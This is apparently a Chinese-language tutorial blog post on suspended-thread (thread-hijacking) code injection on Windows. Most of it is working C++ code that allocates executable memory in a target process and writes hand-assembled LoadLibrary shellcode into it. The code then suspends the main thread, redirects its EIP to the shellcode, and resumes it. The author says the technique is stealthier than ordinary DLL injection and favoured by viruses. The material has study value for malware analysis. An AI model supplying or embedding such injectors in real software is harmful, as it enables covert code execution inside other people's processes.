0x00挂起线程注入原理
1.主要是shellcode注入进程后 要让他在获取线程上下文后,修改到我们写入的ShellCode处执行(修改Eip为ShellCode处的地址)
2.含义 A->B B做操作在给到A
//获得线程上下背景文
Ret = GetThreadContext(ThreadHandle, &OldContext);
if (Ret==FALSE)
{
MessageBox("GetThreadContext 失败");
return;
}
NewContext = OldContext;
//含义 A->B B做操作在给到A
#ifdef _WIN64
NewContext.Rip = (DWORD)AllocBuffer;
OldEip = NewContext.Rip;
#else
NewContext.Eip = (DWORD)AllocBuffer;//下一指令到申请的内存空间处
OldEip = NewContext.Eip;
#endif
//;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
Ret = WriteProcessMemory(ProcessHandle, ((char*)AllocBuffer) + 1, &OldEip, sizeof(DWORD), NULL);
if (!Ret)
{RETURN;}
3.shellcode构造
这种注入方式的思路:首先先向目标程序中写入我们的ShellCode,比如说写入LoadLibry加载我们的DLL。然后把目标进程中当主线程挂起,然后获取线程上下文,修改线程上下文中的EIP到我们写入的ShellCode处执行完代码,然后再设置为线程原来的上下文·继续执行,执行完成过后在目标中释放申请的空间。
具体编程实现大致实现思路:
构造ShellCode
VirtualAllocEx在目标进程中申请空间,WriteProcessMemory写入ShellCode
通过线程快照获取目标主线程
OpenThread打开线程,SuspendThread挂起线程
GetThreadContext获取目标主线程线程上下文
SetThreadContext修改目标主线程上下文到我们写入的ShellCode处执行
ResumeThread恢复线程让ShellCode执行
VirtualFreeEx扫尾释放空间
其实挂起线程注入的思路其实也是挺简单的,而且这种方式相对于常规的DLL注入,隐蔽性更高,一些病毒也比较喜欢用这种方式。
下面介绍详细的实现步骤。
0x01 挂起线程注入详细的编程实现
由于这种注入方式要注入ShellCode,用C++实现比较麻烦一点因为要扣二进制,我也用汇编一个版本,在附件中,这里还是用C++
?ShellCode的构造,LoudLibrary加载DLL
//结构必须字节对齐1
#pragma pack(1)
typedef struct _INJECT_CODE
{
BYTE byPUSH;
DWORD dwPUSH_VALUE;
BYTE byPUSHFD;
BYTE byPUSHAD;
BYTE byMOV_EAX; //mov eax, addr szDllpath
DWORD dwMOV_EAX_VALUE;
BYTE byPUSH_EAX; //push eax
BYTE byMOV_ECX; //mov ecx, LoadLibrary
DWORD dwMOV_ECX_VALUE;
WORD wCALL_ECX; //call ecx
BYTE byPOPAD;
BYTE byPOPFD;
BYTE byRETN;
CHAR szDllPath[MAX_PATH];
}INJECT_CODE, *PINJECT_CODE;
#pragma pack()
利用C++注入不用考虑重定位的问题,因为C++中提供offsetof宏可以求出变量偏移,但是在汇编实现中就要考虑求变量的偏移了,如下图
其实在这注入方式中,最有学习意义的就是ShellCode的构造,我总结了一些我在构造ShellCode中学习到的知识点。
代码重定位
在目标进程中,要想实现API调用的难点其实就是传参数,因为我们的注入程序和目标进程中基址是不一样的,这样就注定了写入参数的地址不一样,这就涉及到重定位问题。
经典的重定位代码。
Call $+5 ;将下一行的地址入栈,获得目标进程下一行的地址
FIXADDR: ;这个是注入进程中地址Lable,用于求差值
Pop ebp ;弹出入栈的目标进程的地址
Sub ebp,FIXADDR ;求得目标进程与注入进程中的地址差值
求出了目标进程和注入进程之间的地址差,就可以访问我们写入变量的地址了。
释放问题
一定要等所有的ShellCode执行完成再释放空间,否则会有同步问题,导致目标程序崩溃。
?打开进程,写入ShellCode
//打开进程
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_dwPid);
if (!g_hProcess)
{
MessageBox("OpenProcess 失败");
return;
}
g_lpBuffer=VirtualAllocEx(g_hProcess,NULL,0x1000,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if (!g_lpBuffer)
{
MessageBox("VirtualAllocEx 失败");
return;
}
//给ShellCode结构体赋值
ic.byPUSH = 0x68;
ic.dwPUSH_VALUE = 0x12345678;
ic.byPUSHFD = 0x9C;
ic.byPUSHAD = 0x60;
ic.byMOV_EAX = 0xB8;
ic.dwMOV_EAX_VALUE = (DWORD)g_lpBuffer + offsetof(INJECT_CODE, szDllPath);
ic.byPUSH_EAX = 0x50;
ic.byMOV_ECX = 0xB9;
ic.dwMOV_ECX_VALUE = (DWORD)&LoadLibrary;
ic.wCALL_ECX = 0xD1FF;
ic.byPOPAD = 0x61;
ic.byPOPFD = 0x9D;
ic.byRETN = 0xC3;
memcpy(ic.szDllPath, m_strDllPath.GetBuffer(0), m_strDllPath.GetLength());
//写入ShellCode
bRet = WriteProcessMemory(g_hProcess, g_lpBuffer, &ic, sizeof(ic), NULL);
if (!bRet)
{
MessageBox("写入内存失败");
return;
}
?创建线程快照查找目标程序主线程
//创建线程快照查找目标程序主线程
te32.dwSize = sizeof(te32);
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
MessageBox("CreateToolhelp32Snapshot 失败");
return;
}
//遍历查询目标程序主线程ID
if (Thread32First(hThreadSnap, &te32))
{
do
{
if (m_dwPid == te32.th32OwnerProcessID)
{
dwThreadId = te32.th32ThreadID;
break;
}
} while (Thread32Next(hThreadSnap, &te32));
}
④打开并且挂起目标主线程,获取线程上下文,修改Eip为ShellCode处的地址
//挂起目标主线程
bRet = SuspendThread(hThread);
if (bRet == -1)
{
MessageBox("SuspendThread 失败");
return;
}
oldContext.ContextFlags = CONTEXT_FULL;
bRet = GetThreadContext(hThread, &oldContext);
if (!bRet)
{
MessageBox("GetThreadContext 失败");
return;
}
newContext = oldContext;
newContext.Eip = (DWORD)g_lpBuffer;
//;将指针指向ShellCode第一句push 12345678h中的地址,写入返回地址
bRet = WriteProcessMemory(g_hProcess, ((char*)g_lpBuffer) + 1, &oldContext.Eip, sizeof(DWORD), NULL);
if (!bRet)
{
MessageBox("写入内存失败");
return;
}
⑤设置上下文,恢复线程跑起来
bRet = SetThreadContext(hThread, &newContext);
if (!bRet)
{
MessageBox("SetThreadContext 失败");
return;
}
//然后把主线程跑起来
bRet = ResumeThread(hThread);
if (bRet == -1)
{
MessageBox("ResumeThread 失败");
return;
}
⑥扫尾工作,单独设了个函数清除目标进程中申请的空间,注意这个操作务必等待我们的ShellCode执行完再执行,否则会导致目标程序崩溃
if (!VirtualFreeEx(g_hProcess, g_lpBuffer, 0, MEM_RELEASE))
{
MessageBox("VirtualFreeEx 失败");
return;
}
MessageBox("释放对方空间成功");
详细源码见附件
实验效果如下,Dll注入成功